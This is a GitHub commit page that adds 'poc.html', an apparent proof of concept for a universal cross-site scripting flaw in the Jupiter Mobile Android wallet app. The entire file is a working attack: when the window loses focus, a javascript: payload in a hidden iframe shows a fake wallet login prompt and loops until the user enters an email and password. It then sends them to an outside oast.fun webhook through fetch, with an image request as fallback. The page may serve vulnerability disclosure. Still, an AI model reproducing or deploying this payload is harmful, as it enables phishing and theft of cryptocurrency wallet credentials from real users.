Skip to content

Commit 8f3489a

Browse files
authored
Add files via upload
1 parent ae0dced commit 8f3489a

File tree

1 file changed

+41
-0
lines changed

1 file changed

+41
-0
lines changed

POC/poc.html

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
<html lang="en-US">
2+
<head>
3+
<meta charset="UTF-8">
4+
<meta name="viewport" content="width=device-width, user-scalable=no">
5+
<title>UXSS (Jupiter Mobile Android)</title>
6+
<style>
7+
iframe { visibility: hidden; }
8+
body { font-family: system-ui, sans-serif; text-align: center; padding-top: 100px; }
9+
</style>
10+
<script>
11+
window.onblur = function () {
12+
const loginPromptMessage = 'In order to access Jupiter Mobile\n' +
13+
'you must first login on your\nJupiter Wallet Account.\n\n' +
14+
'Please type your e-mail\nand your password:';
15+
16+
// Payload to execute in iframe via javascript: (GET webhook)
17+
const iframeScriptPayload =
18+
"(function(){try{" +
19+
"var promptMessage=" + JSON.stringify(loginPromptMessage) + ";" +
20+
"var userInput='';" +
21+
// Force input: Cancel/empty loops until valid
22+
"while(userInput===null||(''+userInput).trim()===''){ userInput=prompt(promptMessage,'E-mail / Password.'); }" +
23+
// Build URL for GET webhook
24+
"var webhookUrl=" + JSON.stringify("https://kfolxxnghaeuziyteiecvsfddt725uimk.oast.fun/") + ";" +
25+
"var queryString='?credentials='+encodeURIComponent(userInput);" +
26+
"var requestUrl=webhookUrl+queryString;" +
27+
// Attempt fetch GET (no-cors, keepalive), fallback to Image GET (anti-cache with &via=img)
28+
"try{ fetch(requestUrl,{method:'GET',mode:'no-cors',keepalive:true}).catch(function(_){" +
29+
" try{ (new Image()).src=requestUrl+'&via=img'; }catch(__){}" +
30+
"}); }catch(e){ try{ (new Image()).src=requestUrl+'&via=img'; }catch(__){} }" +
31+
"}catch(e){}})()";
32+
33+
document.getElementById('iframe').src = "javascript:" + iframeScriptPayload;
34+
};
35+
</script>
36+
</head>
37+
<body>
38+
<h1>Click Here</h1>
39+
<iframe id="iframe"></iframe>
40+
</body>
41+
</html>

0 commit comments

Comments
 (0)